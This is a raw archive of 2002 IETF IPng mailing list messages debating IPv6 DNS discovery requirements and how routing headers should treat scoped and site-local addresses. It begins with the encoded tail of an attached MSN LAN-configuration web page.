Y3QgZnVuY3Rpb24gKi8NCgkJCQkvL3NWYWx1ZSA9IEFwaU9iai5nZXRfSU5JS2V5KCBzUGF0 aCwgIlVSTCIsICJTaWdudXAiKTsgDQoJCQkJLy9zVmFsdWUgPSBzVmFsdWUgKyAiTEFOX0NP TkZJR1VSRT0xJkxDSUQ9IiArIHNMY2lkOw0KCQkJCXNSZXN1bHQgPSB3aW5kb3cuZXh0ZXJu YWwuQ29ubmVjdChzUGF0aCk7DQoJCQkJDQoJCQkJZ2lJbnRlcnZhbElEID0gd2luZG93LnNl dFRpbWVvdXQoIlNldEVycm9yVGV4dCgpIiwxMDAwMCk7DQoJCQkJDQoJCQl9DQoNCgk8L3Nj cmlwdD4NCgk8L2hlYWQ+DQoJPGJvZHkgVEFCSU5ERVg9Ii0xIiBiYWNrZ3JvdW5kPSIuLi9p bWFnZXMvbXNud3RybWsuZ2lmIiBvbmxvYWQ9IkRvTG9hZCgpOyI+DQoNCgkJPGltZyBpZD0i aW1nVXBwZXJMZWZ0Q29ybmVyIiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7dG9wOjBweDts ZWZ0OjBweDt2aXNpYmlsaXR5OmhpZGRlbiIgU1JDPSIuLi9pbWFnZXMvTVNObG9nby5naWYi IHdpZHRoPSI4MCIgaGVpZ2h0PSI0MyI+DQoJCQkJPHNjcmlwdCBMQU5HVUFHRT0iamF2YXNj cmlwdCI+DQoJCTwhLS0NCgkJZnVuY3Rpb24gc2V0SW1hZ2VQb3NpdGlvbihvSW1nLCBzekhv cml6b250YWwsIHN6VmVydGljYWwpIHsNCgkJLy8gUG9zaXRpb24gb0ltZyBpbWFnZSB0byBh YnNvbHV0ZSBjb29yZGluYXRlcyBiYXNlZCBvbiBzelZlcnRpY2FsKHVwcGVyLCBsb3dlcikg YW5kIHN6SG9yaXpvbnRhbChsZWZ0LCByaWdodCkNCgkJCXZhciB4Ow0KCQkJdmFyIHk7DQoJ CQkvL2FsZXJ0KCdib2R5OlxuVzogJyArIGRvY3VtZW50LmJvZHkub2Zmc2V0V2lkdGggKyAn XG5IOiAnICsgZG9jdW1lbnQuYm9keS5vZmZzZXRIZWlnaHQpOw0KCQkJeCA9IHN6SG9yaXpv bnRhbC50b0xvd2VyQ2FzZSgpID09ICdsZWZ0JyA/IDAgOiBkb2N1bWVudC5ib2R5LmNsaWVu dFdpZHRoIC0gb0ltZy53aWR0aCAtIDE1Ow0KCQkJeSA9IHN6VmVydGljYWwudG9Mb3dlckNh c2UoKSA9PSAndXBwZXInID8gMCA6IGRvY3VtZW50LmJvZHkuY2xpZW50SGVpZ2h0IC0gb0lt Zy5oZWlnaHQgLSAxNjsNCgkJCW9JbWcuc3R5bGUubGVmdCA9IHg7DQoJCQlvSW1nLnN0eWxl LnRvcCA9IHk7CQ0KCQkJLy9hbGVydCgnWDogJyArIHggKyAnXG5ZOiAnICsgeSk7DQoJCQlv SW1nLnN0eWxlLnZpc2liaWxpdHkgPSAndmlzaWJsZSc7CQ0KCQl9DQoNCgkJc2V0SW1hZ2VQ b3NpdGlvbiggaW1nVXBwZXJMZWZ0Q29ybmVyLCAnbGVmdCcsICd1cHBlcicgKTsNCgkJLy8t LT4NCgkJPC9zY3JpcHQ+DQoJCTxzcGFuIFRBQklOREVYPSItMSIgY2xhc3M9InBhZ2VUaXRs ZSI+DQogICAgICAgICAgICA8ZGl2IFRBQklOREVYPSItMSIgaWQ9IlN0YXJ0X1RJVExFMSI+ TGFuIENvbmZpZ3VyYXRpb248L2Rpdj4NCiAgICAgICAgPC9zcGFuPg0KCQk8c3BhbiBUQUJJ TkRFWD0iLTEiIENMQVNTPSJjb250ZW50cyI+DQoJCQk8ZGl2IGlkPWVycm9ydHh0Pg0KCQkJ CTxoNCBJRD0iTEFOX0Nvbm5lY3RpbmciPkNvbm5lY3RpbmcuLi4uPC9oND4NCgkJCQk8aDQg SUQ9IkxBTl9QbGVhc2VXYWl0Ij5QbGVhc2UgV2FpdC4uLjwvaDQ+DQoJCQk8L2Rpdj4NCiAg ICAgICAgICAgIDxicj4NCiAgICAgICAgCTwvc3Bhbj4NCgkJPHNwYW4gVEFCSU5ERVg9Ii0x IiBpZD0ibmF2YmFyIiBDTEFTUz0ibmF2YmFyIj4NCgkJCTxIUiBOT1NIQURFIENMQVNTPSJi bGFja2JhciI+DQoJCQk8c3BhbiBUQUJJTkRFWD0iLTEiIElkPSJzcGFuQ2FuY2VsIiBvbmNs aWNrPSJDbG9zZVdpbmRvdygpOyI+DQoJCQkJPGltZyBJZD0iYnRuQ2FuY2VsIiBjbGFzcz0i Y2FuY2VsQnV0dG9uIj4NCgkJCQk8bGFiZWwgVEFCSU5ERVg9IjEiIEFDQ0VTU0tFWT0iQyIg Zm9yPSJidG5DYW5jZWxUZXh0IiBJZD0iYnRuQ2FuY2VsVGV4dCIgY2xhc3M9ImNhbmNlbEJ1 dHRvblRleHQiPg0KCQkJCQk8aWQgaWQ9Ikxhbl9DQU5DRUwiPjx1PkM8L3U+YW5jZWw8L2lk Pg0KCQkJCTwvbGFiZWw+DQoJCQk8L3NwYW4+DQoJCQk8c3BhbiBUQUJJTkRFWD0iLTEiIElk PSJzcGFuQmFjayIgb25jbGljaz0id2luZG93LnBhcmVudC5Hb0JhY2soKTsiPg0KCQkJCTxp bWcgSWQ9ImJ0bkJhY2siIGNsYXNzPSJiYWNrQnV0dG9uIj4NCgkJCQk8bGFiZWwgVEFCSU5E RVg9IjIiIEFDQ0VTU0tFWT0iQiIgZm9yPSJidG5CYWNrVGV4dCIgSWQ9ImJ0bkJhY2tUZXh0 IiBjbGFzcz0iYmFja0J1dHRvblRleHQiPg0KCQkJCQk8aWQgaWQ9IkxPQ0FMX0JBQ0siPjx1 PkI8L3U+YWNrPC9pZD4NCgkJCQk8L2xhYmVsPg0KCQkJPC9zcGFuPg0KCQkJPHNwYW4gVEFC SU5ERVg9Ii0xIiBJZD0ic3Bhbk5leHQiIG9uY2xpY2s9ImlmIChidG5OZXh0LmRpc2FibGVk ID09IGZhbHNlKSBNU05Hb05leHQoKTsiPg0KCQkJCTxpbWcgSWQ9ImJ0bk5leHQiIGNsYXNz PSJuZXh0QnV0dG9uIj4NCgkJCQk8bGFiZWwgVEFCSU5ERVg9IjMiIEFDQ0VTU0tFWT0iTiIg Zm9yPSJidG5OZXh0VGV4dCIgSWQ9ImJ0bk5leHRUZXh0IiBjbGFzcz0ibmV4dEJ1dHRvblRl eHQiPg0KICAgICAgICAgICAgICAgIDxpZCBpZD0iTE9DQUxfTkVYVCI+PHU+TjwvdT5leHQ8 L2lkPg0KCQkJCTwvbGFiZWw+DQoJCQk8L3NwYW4+DQoJCTwvc3Bhbj4NCgk8L2JvZHk+DQo8 L2h0bWw+DQ=9 --Dt7G2mg6Y4wIK950c10222oo1bFG1q143lt4-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 23 13:35:40 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NKZeGs014388; Tue, 23 Apr 2002 13:35:40 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3NKZe7e014387; Tue, 23 Apr 2002 13:35:40 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NKZaGs014380 for ; Tue, 23 Apr 2002 13:35:36 -0700 (PDT) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA14730 for ; Tue, 23 Apr 2002 13:35:38 -0700 (PDT) Received: from astro.cs.utk.edu (astro.cs.utk.edu [160.36.58.43]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA13908 for ; Tue, 23 Apr 2002 14:35:37 -0600 (MDT) Received: from astro.cs.utk.edu (localhost [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id g3NKZKe21786; Tue, 23 Apr 2002 16:35:20 -0400 (EDT) Message-Id: <200204232035.g3NKZKe21786@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Ralph Droms cc: Keith Moore , ipng@sunroof.eng.sun.com Subject: Re: Proposed IPv6 DNS Discovery Requirements In-reply-to: (Your message of "Tue, 23 Apr 2002 10:02:37 EDT.") <4.3.2.7.2.20020423093726.00b5a6b0@funnel.cisco.com> Date: Tue, 23 Apr 2002 16:35:20 -0400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Keith - I think we might actually be more in agreement than > disagreement. You have pointed out several places where I wasn't clear; > let me see if I can clarify... thanks for the clarification - it's a bit of a relief... > 2. My wording for requirement 12 was unclear. What I meant was "if > the host requests information about DNS servers, the list of servers > can be customized for that host". I don't intend that a network > admin can force a host to use a specific set of DNS servers; rather, > different hosts can get configured with different lists of DNS > servers wow...I didn't get that at all from the first reading - I think the above text is much better. > 3. If interpreted as absolute, binary requirements, 7 and 8 are > quite likely fantasies. I intend 7 and 8 to be goals that proposed > solutions can be measured against. I guess I don't see this as a very useful yardstick because 'no additional protocol definition' is too vague. > 4. In requirement 6, I was trying to express the requirement that > the host can trust the servers it learns about through DNS > configuration. If that wording is clearer, I'll use it in the > requirements list. I'm not sure I understand this - what does it mean for a host to be able to 'trust' those servers? seems like the best you can hope for is some sort of site signature that says "yep, these really are the addresses of the servers we think you should use". Keith -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 23 13:44:33 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NKiXGs014438; Tue, 23 Apr 2002 13:44:33 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3NKiIuQ014437; Tue, 23 Apr 2002 13:44:18 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NKiBGs014430 for ; Tue, 23 Apr 2002 13:44:11 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA17773 for ; Tue, 23 Apr 2002 13:44:14 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA00200 for ; Tue, 23 Apr 2002 13:44:13 -0700 (PDT) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id g3NKi5x19244; Tue, 23 Apr 2002 23:44:05 +0300 Date: Tue, 23 Apr 2002 23:44:04 +0300 (EEST) From: Pekka Savola To: Francis Dupont cc: ipng@sunroof.eng.sun.com Subject: Re: scoping-arch and link-local addresses in RH In-Reply-To: <200204231025.g3NAPkT65012@givry.rennes.enst-bretagne.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Tue, 23 Apr 2002, Francis Dupont wrote: > In your previous mail you wrote: > > 9. Forwarding > [...] > > => this is clear: the next destination must not be outside the source zone. > I don't believe there is something to discuss for this point. Perhaps the draft should say it as you did. :-) > Only the wording is questionable... (i.e. I can't see a concern for > other thing than the form) My main gripe was the wording: upon the first look, it was rather difficult to see what was actually meant. > ==> Security considerations should mention potential problems of crossing > zone boundaries w/ routing headers. > > => as the rules forbid this there is no need for extra considerations. This would appear to be in conflict what it says in the draft: Thus, it is possible, though generally inadvisable, to use a Routing Header to convey a non-global address across its associated zone boundary. or is there some nuance I'm missing? -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 23 14:00:56 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NL0uGs014591; Tue, 23 Apr 2002 14:00:56 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3NL0uYW014590; Tue, 23 Apr 2002 14:00:56 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NL0dGs014580 for ; Tue, 23 Apr 2002 14:00:39 -0700 (PDT) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA09056 for ; Tue, 23 Apr 2002 14:00:39 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA26146 for ; Tue, 23 Apr 2002 15:00:38 -0600 (MDT) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id g3NL0Wq19395; Wed, 24 Apr 2002 00:00:33 +0300 Date: Wed, 24 Apr 2002 00:00:32 +0300 (EEST) From: Pekka Savola To: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= cc: ipng@sunroof.eng.sun.com Subject: Re: scoping-arch and link-local addresses in RH In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Tue, 23 Apr 2002, JINMEI Tatuya / [ISO-2022-JP] $B?@L@C#:H(B wrote: > > For regular packet forwarding, the second bullet in 9. basically seems to > > say: "if you cross the zone boundary, the packet is discarded". > > This is oversimplification. The second ballet says "a packet must not > cross the zone boundary of the source address's zone". Ok. > > This should be, IMO, honoured with routing header too. > > As for the source address, that's correct (or at least what the draft > intended to say). Routers N hops away may have difficulties in determining this with a certainty. > > In particular, one > > should not be able (IMO) to control how routing should go inside a site, > > using site-internal addresses (as these addresses aren't reachable to the > > source, and may have a different level of security etc.). If the > > destination site does not have global addresses in use there, he probably > > don't want site-local's being used either. > > Sorry, I don't understand the statement above. Could you be more > specific please? AFAICS, the following is allowed: Assume sites A and B. src=globalA dst=globalB routing header=sitelocalB, global2B segments left=2 So source A is able to control how globalB inserts a packet from a global source to site _B_'s internal, site-local routing system. You could of course also, after using the routing system, revert the destination back to some global one. My point here was: anyone from site A should not be able tell how site B should route packets using _site-local_ addresses? > > Site-locals are potentially fishier as they can't be as trivially > > restricted to a link. > > > I'd like to see a "roadmap" of what kind of forwarding is possible with > > routing header, and what is not. I couldn't make a clear mental image > > based on the text. > > I'm not sure what "roadmap" exactly means, but the restriction that > Rich mentioned will be clearer about the rule... I'd like to know what people vision RH + scoping would be useful for. Then it might be easier to decide whether a simpler approach would be appropriate. > > That is, can you use RH to forward packets out of the incoming link with > > e.g. link-local addresses? (As in the previous paragraph in the text.) > > That depends on the precise configuration, as I said above. I'm not sure if that's obvious from the text. > p.s. to make my position clear, I'm not a fan of the current rule. > Formerly I proposed a stricter rule that required all destinations in > a routing header were in the same scope type for deterministic > behavior. I tend to agree. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 23 16:40:36 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NNeaGs015453; Tue, 23 Apr 2002 16:40:36 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3NNea8W015452; Tue, 23 Apr 2002 16:40:36 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NNeZGs015445 for ; Tue, 23 Apr 2002 16:40:35 -0700 (PDT) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g3NNeRaU005171 for ; Tue, 23 Apr 2002 16:40:27 -0700 (PDT) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g3NNeRWJ005170 for ipng@sunroof.eng.sun.com; Tue, 23 Apr 2002 16:40:27 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N8vEGs010813 for ; Tue, 23 Apr 2002 01:57:14 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA02142 for ; Tue, 23 Apr 2002 01:57:15 -0700 (PDT) Received: from p-mail2.rd.francetelecom.com (p-mail2.rd.francetelecom.com [193.49.124.32]) by patan.sun.com (8.9.3+Sun/8.9.3) with SMTP id CAA00233 for ; Tue, 23 Apr 2002 02:57:14 -0600 (MDT) Received: by p-voyageur.rd.francetelecom.fr with Internet Mail Service (5.5.2655.55) id ; Tue, 23 Apr 2002 10:45:45 +0200 Message-ID: From: BELOEIL Luc FTRD/DMI/CAE To: "'Ralph Droms'" , ipng@sunroof.eng.sun.com Subject: RE: Proposed IPv6 DNS Discovery Requirements Date: Tue, 23 Apr 2002 10:45:36 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2655.55) Content-Type: multipart/mixed; boundary="----=_NextPartTM-000-92c9aa1d-55fa-11d6-b1ea-00508b69ab48" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------=_NextPartTM-000-92c9aa1d-55fa-11d6-b1ea-00508b69ab48 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C1EAA3.3D12D260" ------_=_NextPart_001_01C1EAA3.3D12D260 Content-Type: text/plain Hi all, Thanks Bob for initiating requirements draft. IMHO "stateless address autoconfiguration" is actually a huge improvement propose by IPv6. In the same way, I think that a "server less" DNS server discovery should be a great service . Anyway, I wonder if we should introduce to distinct requirements: 1- to provide a server less mechanism to enable a host to resolve any Domain Name 2- to provide a server less mechanism to enable a host to discover DNS server IPv6 address (so as "to learn other related DNS information" as stated Bob). I think that those two mechanisms are actually distinct, and that each solution to those requirements will perhaps not be addressed by the same mechanism. 1- I think my first requirement is compliant with Level 1 of . In that case, the host does not really want to know the IP address of the local DNS servers. 2- no solution has already be accepted, is that requirement really relevant ? -> Does anycast enough mature ? unfortunately I've seen no answer to that. -> ICMPv6 options could be enough ? But could be if an issue any other services discovery would like to use such a mechanism in the future, to modify the RA means an update of all existing devices ;+(( -> I thought it was a question for SLP but SLP seems needing for User Agents which is not compliant with other Bob's requirements (User Agent would be a kind of server... ?). -> other solutions DDDT proposed in ?... My 2% Luc -----Message d'origine----- De : Ralph Droms [mailto:rdroms@cisco.com] Envoye : lundi 22 avril 2002 17:43 A : ipng@sunroof.eng.sun.com Objet : Re: Proposed IPv6 DNS Discovery Requirements Do we need a server-less solution for every IPv6 configuration problem? ================================================ I read an unstated assumption in the first sentence, "IPv6 provides two approaches to basic IPv6 configuration." that server-less and server-ful configuration are two mutually exclusive, stovepipe approaches, where both alternatives must be provided for each component of basic configuration. I believe we've shown that server-less configuration for IPv6 addresses is useful and a solved problem. It may be the only required solution - I can suppose situations in which address assignment might require constraint and control, but we don't have any deployment experience that proves such a requirement. But a solution to server-less configuration of IPv6 addresses does not imply that a solution to server-less configuration of routing information, DNS resolution and other basic configuration is a good idea or even possible. I think we should be careful to consider each type of configuration separately to make sure we're generating useable solutions to real problems. Server-less DNS Discovery or server-less DNS resolution? ======================================================== Just to be careful - the basic requirement in Bob's draft requirements is "to provide a server-less mechanism to enable a host to learn the address of an DNS server." This is a more stringent requirement than to provide a server-less mechanism to perform DNS resolution. I would say that the most recent "Stateless DNS Discovery" mechanism does *not* meet the requirement laid out in Bob's requirements statement. A host using the Level 1 compliance mechanism defined in does not find the address of an arbitrary DNS server. Rather, the host can do DNS resolution in a site that has specifically configured its network routing and DNS infrastructure to support DNS resolution through the well-known DNS server addresses. Scope of required information for DNS Discovery ================================================ Others have pointed out the a device using DNSSEC may need NTP. The requirements should be expanded to read something like "learn the address of a DNS server and any other servers required for use of DNS". At 04:23 PM 4/17/2002 -0700, you wrote: >I took a cut at a requirements statement for IPv6 DNS Discovery. Comments >are appreciated. > >Thanks, >Bob > >---------------------- > >IPv6 DNS Discovery Requirements Statement > >IPv6 provides two approaches to basic IPv6 configuration. One is >server-less and is defined in IPv6 Neighbor Discover [RFC2461] and the >IPv6 Stateless Address Autoconfiguration [RFC2462]. The other is server >oriented and is defined in DHCPv6 [dhcpv6 id]. IPv6 Neighbor Discovery >includes flags to direct an IPv6 host to use either approach. > >In order for an IPv6 host to communicate on the Internet it needs an IPv6 >address, IPv6 prefix for the link it is attached, default router address, >and a DNS server address. This information allows the host to use basic >internet services like the web, email, file transfer, etc. > >The server-less approach currently provides mechanisms for the IPv6 host >to learn an address, IPv6 prefix for the link, and default router address, >but does not provide any mechanism for the IPv6 host to learn any DNS >information. Without any DNS information the IPv6 host can not use basic >internet services with out some other kind of configuration (except by the >user typing in literal IPv6 addresses). Requiring users to enter literal >IPv6 addresses in difficult in IPv6 given the size of the addresses. > >The basic requirement for IPv6 DNS Discovery is to provide a server-less >mechanism to enable a host to learn the address of an DNS server. This >will complete the IPv6 server-less configuration mechanisms. > >For this requirement, Server-less is defined to mean the DNS information >is learned with out any dependence on resources other than are needed >(i.e., links, interfaces, routers, and DNS server) to communicate with the >DNS server. > >IPv6 DNS Discovery should work inside of a single site where the DNS >servers are in the site and between sites where the DNS servers and hosts >are located in different sites (e.g., small home office where DNS servers >are in the ISP's network). > >It is also desirable to learn other related DNS information such as >default DNS for the IPv6 host, search path, LLMNR enabled flag, etc. in a >server-less manner. > >Desirable aspects of a solution the meets these requirements include: > > - Minimal changes to existing implementations > - A solution that could be standardized in a short amount of time. > - Minimal use of bandwidth > > >References > >[DHCPv6] J. Bound, et. al., Dynamic Host Configuration Protocol for IPv6 > (DHCPv6), Internet Draft, , > February 2002. > >[RFC2461] T. Narten, et. al., Neighbor Discovery for IP Version 6 (IPv6), > RFC2461, December 1998. > >[RFC2462] S. Thomson, et. al., IPv6 Stateless Address Autoconfiguration, > RFC2462, December 1998. > > > > > >-------------------------------------------------------------------- >IETF IPng Working Group Mailing List >IPng Home Page: http://playground.sun.com/ipng >FTP archive: ftp://playground.sun.com/pub/ipng >Direct all administrative requests to majordomo@sunroof.eng.sun.com >-------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- ------_=_NextPart_001_01C1EAA3.3D12D260 Content-Type: text/html Content-Transfer-Encoding: quoted-printable RE: Proposed IPv6 DNS Discovery Requirements

Hi all,

Thanks Bob for initiating requirements draft.

IMHO "stateless address autoconfiguration" = is actually a huge improvement propose by IPv6. In the same way, I = think that a "server less" DNS server discovery should be a = great service .

Anyway, I wonder if we should introduce to distinct = requirements:
1- to provide a server less mechanism to enable a = host to resolve any Domain Name
2- to provide a server less mechanism to enable a = host to discover DNS server IPv6 address (so as "to learn other = related DNS information" as stated Bob).

I think that those two mechanisms are actually = distinct, and that each solution to those requirements will perhaps not = be addressed by the same mechanism.

1- I think my first requirement is compliant with = Level 1 of <draft-ietf-ipv6-dns-discovery-04.txt>. In that case, = the host does not really want to know the IP address of the local DNS = servers.

2- no solution has already be accepted, is that = requirement really relevant ?
  -> Does anycast enough mature ? = unfortunately I've seen no answer to that.
  -> ICMPv6 options could be enough ? But = could be if an issue any other services discovery would like to use = such a mechanism in the future, to modify the RA means an update of all = existing devices ;+((

  -> I thought it was a question for SLP but = SLP seems needing for User Agents which is not compliant with other = Bob's requirements (User Agent would be a kind of server... = ?).

  -> other solutions DDDT proposed in = <draft-ipnwg-dns-discovery-analysis-00.txt> ?...

My 2%
Luc

-----Message d'origine-----
De : Ralph Droms [mailto:rdroms@cisco.com]
Envoye : lundi 22 avril 2002 17:43
A : ipng@sunroof.eng.sun.com
Objet : Re: Proposed IPv6 DNS Discovery = Requirements

Do we need a server-less solution for every = IPv6
configuration problem?
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D
I read an unstated assumption in the first sentence, = "IPv6 provides two
approaches to basic IPv6 configuration." that = server-less and server-ful
configuration are two mutually exclusive, stovepipe = approaches, where both
alternatives must be provided for each component of = basic configuration.  I
believe we've shown that server-less configuration = for IPv6 addresses is
useful and a solved problem.  It may be the = only required solution - I can
suppose situations in which address assignment might = require constraint and
control, but we don't have any deployment experience = that proves such a
requirement.

But a solution to server-less configuration of IPv6 = addresses does not
imply that a solution to server-less configuration = of routing information,
DNS resolution and other basic configuration is a = good idea or even
possible.  I think we should be careful to = consider each type of
configuration separately to make sure we're = generating useable solutions to
real problems.

Server-less DNS Discovery or server-less DNS = resolution?
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Just to be careful - the basic requirement in Bob's = draft requirements is
"to provide a server-less mechanism to enable a = host to learn the address
of an DNS server."  This is a more = stringent requirement than to provide a
server-less mechanism to perform DNS = resolution.  I would say that the most
recent "Stateless DNS Discovery" mechanism =
<draft-ietf-ipv6-dns-discovery-04.txt> does = *not* meet the requirement laid
out in Bob's requirements statement.  A host = using the Level 1 compliance
mechanism defined in = <draft-ietf-ipv6-dns-discovery-04.txt> does not find
the address of an arbitrary DNS server.  = Rather, the host can do DNS
resolution in a site that has specifically = configured its network routing
and DNS infrastructure to support DNS resolution = through the well-known DNS
server addresses.

Scope of required information for DNS = Discovery
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D
Others have pointed out the a device using DNSSEC = may need NTP.  The
requirements should be expanded to read something = like "learn the address
of a DNS server and any other servers required for = use of DNS".

At 04:23 PM 4/17/2002 -0700, you wrote:
>I took a cut at a requirements statement for = IPv6 DNS Discovery.  Comments
>are appreciated.
>
>Thanks,
>Bob
>
>----------------------
>
>IPv6 DNS Discovery Requirements Statement
>
>IPv6 provides two approaches to basic IPv6 = configuration.  One is
>server-less and is defined in IPv6 Neighbor = Discover [RFC2461] and the
>IPv6 Stateless Address Autoconfiguration = [RFC2462].  The other is server
>oriented and is defined in DHCPv6 [dhcpv6 = id].  IPv6 Neighbor Discovery
>includes flags to direct an IPv6 host to use = either approach.
>
>In order for an IPv6 host to communicate on the = Internet it needs an IPv6
>address, IPv6 prefix for the link it is = attached, default router address,
>and a DNS server address.  This information = allows the host to use basic
>internet services like the web, email, file = transfer, etc.
>
>The server-less approach currently provides = mechanisms for the IPv6 host
>to learn an address, IPv6 prefix for the link, = and default router address,
>but does not provide any mechanism for the IPv6 = host to learn any DNS
>information.  Without any DNS information = the IPv6 host can not use basic
>internet services with out some other kind of = configuration (except by the
>user typing in literal IPv6 addresses).  = Requiring users to enter literal
>IPv6 addresses in difficult in IPv6 given the = size of the addresses.
>
>The basic requirement for IPv6 DNS Discovery is = to provide a server-less
>mechanism to enable a host to learn the address = of an DNS server.  This
>will complete the IPv6 server-less configuration = mechanisms.
>
